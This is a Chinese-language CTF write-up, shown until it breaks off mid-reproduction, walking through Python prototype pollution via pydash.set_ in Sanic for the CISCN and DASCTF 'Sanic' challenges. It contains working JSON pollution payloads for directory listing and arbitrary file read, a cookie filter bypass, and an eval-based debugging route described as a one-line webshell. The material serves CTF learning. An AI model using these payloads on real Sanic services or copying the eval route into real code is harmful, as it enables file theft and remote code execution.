好文当赏!
Sanic框架下原型链污染(以国赛sanic和dasctf-sanic题复现为例)
ps:
DASCTF的本题和国赛的sanic差不多,都是sanic框架下的python原型链污染问题。但是是plus版的,因为它ban了一点东西,导致文件直接遍历做不到了。而且链子也是一样的,没用新的函数,都是用的static这个函数来构造的/static/目录。那么污染也是可以直接利用的。所以先分析一些ciscn的简单的sanic吧。
引用了很多gxngxngxn✌的博客,他的博客的地址:https://www.cnblogs.com/gxngxngxn/p/18205235
CISCN-Sanic复现
复现环境选择ctf.show的复现环境。
首先题目的hint给的是直接可以看/src和/admin目录,然后/src里面有源码,下载过来看,这里源码附上:
源码:
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
这里可以看到,总共三个路由,而且/admin的进入条件是login成功登录之后,能拿到一个session的值,这个值设置之后才能成功进入admin。然后进入之后,可以看到一个
pydash.set_(pollute, key, value)
而且要注意,这个pydash的版本是5.1.2。然后可以去查一下文档。就是能把key代表的位置污染成value的值。
然后我们就去看一下login怎么成功登录。都知道Cookie里面用分号是会截断的,这里没什么好看的,直接用gxngxngxn神的原话了:
简单分析一下,在/login路由处我们需要绕过user.lower() == 'adm;n'的限制,由于这里是从session中读取,所以默认是会在分号处截断,直接传肯定是不行的。怎么绕过呢,很简单,利用八进制编码一下就行了。这里就不多说了,有兴趣的师傅可以自己去研究一下这个RFC2068 的编码规则
他的博客的地址:https://www.cnblogs.com/gxngxngxn/p/18205235
payload:user="adm\073n"
然后就拿到session了:
不多说,访问/admin带上session就可以了。
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
这段语句翻译了就是说key必须是字符串,然后key里面不能有_.这种直接连接的方法。看gxn神的文章:
同时这里waf了_.的组合,我们可以利用
__init__\\\\.__globals__
这种类似转义的方式去绕过,这些都是些小插曲。
他的博客的地址:https://www.cnblogs.com/gxngxngxn/p/18205235
然后就可以直接拼接了。
sanic这题的标准解先讲一次,它的解法在DAS里面给ban掉了。
标解:
@app.route("/src")
async def src(request):
return text(open(__file__).read())
src里面有一个是open().read()打开的。我们直接把__file__这个文件给他污染成flag所在路径就可以了。那么我们就研究一下怎么进行污染。
寻找污染链子
首先是调用函数的位置,由于/login、/、/admin里面都没有能污染的函数被利用到。这些原生的函数要么只被利用一次,要么就是跟file联系不起来。但是如果是static方法就可以污染,这个就是python污染链的基础知识了。里面是有和director和file有关的方法的。
那么只有开头的app.static有污染的可能,我们跟进一下static函数试一下。我的方法是用pycharm复制源码,然后在里面编辑的时候,选中app.static的static函数,然后按Ctrl+Alt+B进行函数上级的搜索,可以直接跟踪源码:
可以看到的是这里面有好几个可能可利用的参数:
file_or_directory、directory_view、directory_handler
其中directory_handler是一个字典。等会再说。
先看一下下面自带的文档,直接复制下来了:
file_or_directory (Union[PathLike, str]): Path to the static file
or directory with static files.
directory_view (bool, optional): Whether to fallback to showing
the directory viewer when exposing a directory. Defaults
to `False`.
directory_handler (Optional[DirectoryHandler], optional): An
instance of DirectoryHandler that can be used for explicitly
controlling and subclassing the behavior of the default
directory handler.
谷歌翻译:
file_or_directory (Union[PathLike, str]):静态文件或包含静态文件的目录的路径。
directory_view (bool,可选):在公开目录时是否回退到显示目录查看器。默认为 `False`。
directory_handler (Optional[DirectoryHandler],可选):DirectoryHandler 的一个实例,可用于显式控制和子类化默认目录处理程序的行为。
各个参数的作用
0x01:file_or_directory等会再说,是一个任意文件读取和包含的工具
0x02:可以看到directory_view是一个文件查看器,如果将此污染为True就可以在公开目录中回退到目录查看器。简单来说,假如我打开了/static目录文件夹,本来应该是什么都不回显,在python的sanic服务下应该是500错误的。但是如果回退到目录查看器就会变成回显几个当前文件夹下的文件名称,这个就可以当成ls来使用。如果能搭配目录穿越或者将目录更改的话,就可以达到任意文件名读取的效果。
0x03:directory_handler这个实例是一个字典,里面包含了很多属性,我们跟踪一下这个字典,然后展开来讲:
这里用Ctrl+F直接跟踪就行,因为是static.py文件下的。他是这个DirectoryHandler类的一个实例,里面也有用到上面说的两个参数。
接着跟踪DirectoryHandler类,我们用Ctrl+Alt+B进行跟踪:
然后就能看到DirectoryHandler的构造函数了:
这个是构造函数,可以看到里面和directory有关的就是:
directory和directory_view
这两个directory_view还好说,就是把bool值调成true就可以达到文件查看器的效果了。但是directory不一样,他是会被赋值成Path的。其中Path也是一个新的类,我们接着跟踪:Ctrl+Alt+B。跟踪到这个Path类,可以看到。它是用_parts进行赋值的一个类,那么我们直接污染他的_parts就能够达到污染Path类的效果。那么就会导致类被污染到需要的文件上。
那么直接实践一下:我们直接用:
__init__\\\\.__globals__\\\\.
这个算是python的原型链污染的一个通用开头了,获取所有类和方法。
不过我们要知道怎么调用到DirectoryHandler那里的话,我们先用全局变量搜索一下name_index这个方法。Ctrl+Shift+F直接搜索就可以找到在router.py文件中,有这么一个函数的判断,可以找到name定义的方法。然后就在这个if的位置下一个断点,调试就能看到这些污染链子的方法是怎么储存的了:
然后去一开始的源码直接debug试一下:
这里有三点:
0x01:我debug的是Sanic.py。但是直接跳转到if的断点了。
0x02:自动跳转到了router.py的源码中,可以知道static就是第一个构造的函数。
0x03:在debug的variables页面中,可以看到所有的方法、类、函数等等。这里看到函数名是__main__.static。然后我们就去看一下里面的方法(handler)和之前找到的几个方法对应的关系,以及要污染的位置:
可以看到这里的链子为:
handler->keywords->directory_handler->parts
以及
handler->keywords->directory_view
其中parts是一个列表,所以我们传参也要传输列表。并且要把这个_view调整成True。
开始污染
首先为了实验,我们先进入/static/的路由看看:
不出所料的500错误。
根据刚刚的分析链子,我们直接构建,先把static这个路由的文件查看器:director_view给他的布尔值改成True试一下:
payload:{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}
可以看到,这里多出了一段app.router.name_index.__mp_main__\\.static.这个也可以当作是一个污染链的语法去记。比如可以直接:
print(app.router.name_index[__mp_main__.static])
这个__mp_main__.static名字是从一开始的那个断点找函数的那个地方获取的。然后就可以就可以打印出static的属性了或者直接用:
print(app.router.name_index)
也可以打印出这个名字__mp_main__.static。
之后我们接着访问一次/static/看看:
好,那么好。正确回显了。这时候我们就用_parts直接污染掉这个/static源,让他显示成根目录,我们就能拿到flag的名字了。
可以看到它回显的是当前目录的绝对路径,并且是个列表。所以我们传参列表,第一个位置填写"/"。如果不行再向上寻找就可以找到flag的位置了。(如果直接传参会报错,这里不演示了。)这里是打通的payload:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
获取flag方法一:
然后就找到了根目录下的flag的文件名。这时候再回头污染一下__file__文件,然后访问一下/src就可以了。
获取flag方法二:
由于等下也要用到file_or_directory这个方法。所以索性这里一起讲了,正好整一个本题的非预期解出来玩玩。
file_or_directory是一个文件或者目录读取的效果,可以先看一下默认值:
可以看到它的初始值是当前文件,那么如果将其污染为根目录会怎么样呢?但是这个不是我试出来的。
gxngxngxn✌的文章结尾有。
payload:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
反正就是污染成根目录的话,可以造成任意文件读取和任意文件下载的操作(下载与否看后缀)然后这个污染使用字符串的,而不是列表,他的属性前面写了个str。
然后访问flag路径直接下载了。
https://6ed40eb5-d8eb-47b7-a68c-4745c14d2459.challenge.ctf.show/static/********flag
这里用Yakit包演示一次,可以更清楚一点:
下载的文件也有flag,都是可以的。
非预期解也是拿下了。
PS:
预期解是污染__file__。这里直接给出payload,感兴趣的可以自己尝试一下:
{"key":"__init__\\\\.__globals__\\\\.__file__","value": "/****flag"}
访问/src即可得到flag
DASCTF-Sanic's revenge复现
OK啊,进入正题。这些链子分析的东西是一样的,但是题目的环境有点不同。这里将不同的点再分析一次,源码附上:
源码:
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2
# 这里的源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
@app.route("/*****secret********")
async def secret(request):
secret='**************************'
return text("can you find my route name ???"+secret)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir = create_log_dir(6)
log_dir_bak = log_dir + ".."
log_file = "/tmp/" + log_dir + "/access.log"
log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
# 生成日志文件
os.system("mkdir /tmp/" + log_dir)
with open(log_file, 'w') as f:
f.write(log)
# 备份日志文件
os.system("mkdir /tmp/" + log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")
if __name__ == '__main__':
app.run(host='0.0.0.0')
标解:
可以很明显地看到,源码是不完整的,所以首要目的肯定是找源码,然后我们先来看看为什么我说这题是plus版,直接看他对于key和value的过滤我们就知道了:
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
这里是ciscn题目的对比:
if key and value and type(key) is str and '_.' not in key:
可以看到他的key直接是把parts这个值给ban了,那么那条链子,污染到parts进行文件目录读取的操作就不可行了,而且value的值直接把列表传参给ban了。那么就算我能绕过parts(可能可以编码绕过,但是没尝试出来),也不能进行parts的正确传参列表,所以这条路也是被焊死了。
但是将文件查看器:directory_view的布尔值改成True的操作还是可以的。
好,很好。已经理解了题目的意图。我们进入题目,看看直接污染如何。
这题就是模板注入了,ban的东西都一样,我们直接拿原本的payload,这里就不分析了。可以看到上面的寻找污染链子模块进行学习。
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}
然后直接发包看看是怎么回事:
这里虽然可以直接连接/static/进行测试,但是之后有些文件读取的就不行了,所以这里建议跟着复现的师傅可以像我一样起个路由起到一个动态调试的作用,还是挺好用的我觉得。
@app.route("/check", methods=['GET', 'POST'])
async def checking(request):
cmd = request.json['cmd']
return text(eval(cmd))
这个也没啥好说的,python的一句话木马嘛,就是为了打印一点属性相关的内容。
然后直接起一个服务,如图就行:
端口什么的自己调整,这里也不多赘述。访问127.0.0.1:port看看服务,起了服务就可以了。
然后直接一头栽进/check里面。测试的时候他是不会回显到页面上的,估计是sanic框架直接这样return text的方法不太行。但是也不用这么纠结这个语法的问题,能够查看就行了。
建议测试的时候print(1)。看看pycharm里面有没有正确回显一个1就行了。然后直接发json的post包,看看我需要寻找的东西。payload直接给了:
{"cmd":"print(app.router.name_index['__mp_main__.static'])"}
这里面的app.router.name_index就不解释了,但是引用字典的时候,还是要用中括号索引的。而且我们进行这个没有过滤的查找,直接_.两个符号放在一起也没事。
这里页面是不会回显的,我们去pycharm里面看看回显内容:
可以看到啊,这里是正常回显的路径和当前的route: name的。
那么我们先去看看那个_view是怎么回事,这里直接给查看的payload。如果能坚持看到这里的,估计翻一翻也知道原理了,payload:
{"cmd":"print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view)"}
还是False的,我们在这个服务里面进行污染,就是在这个服务(127.0.0.1:port)里面进入/pollute路由进行污染的操作就可以了。
payload和之前一样的,就是上面给过的:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}
这个发包我就不去演示了,然后再查看一次: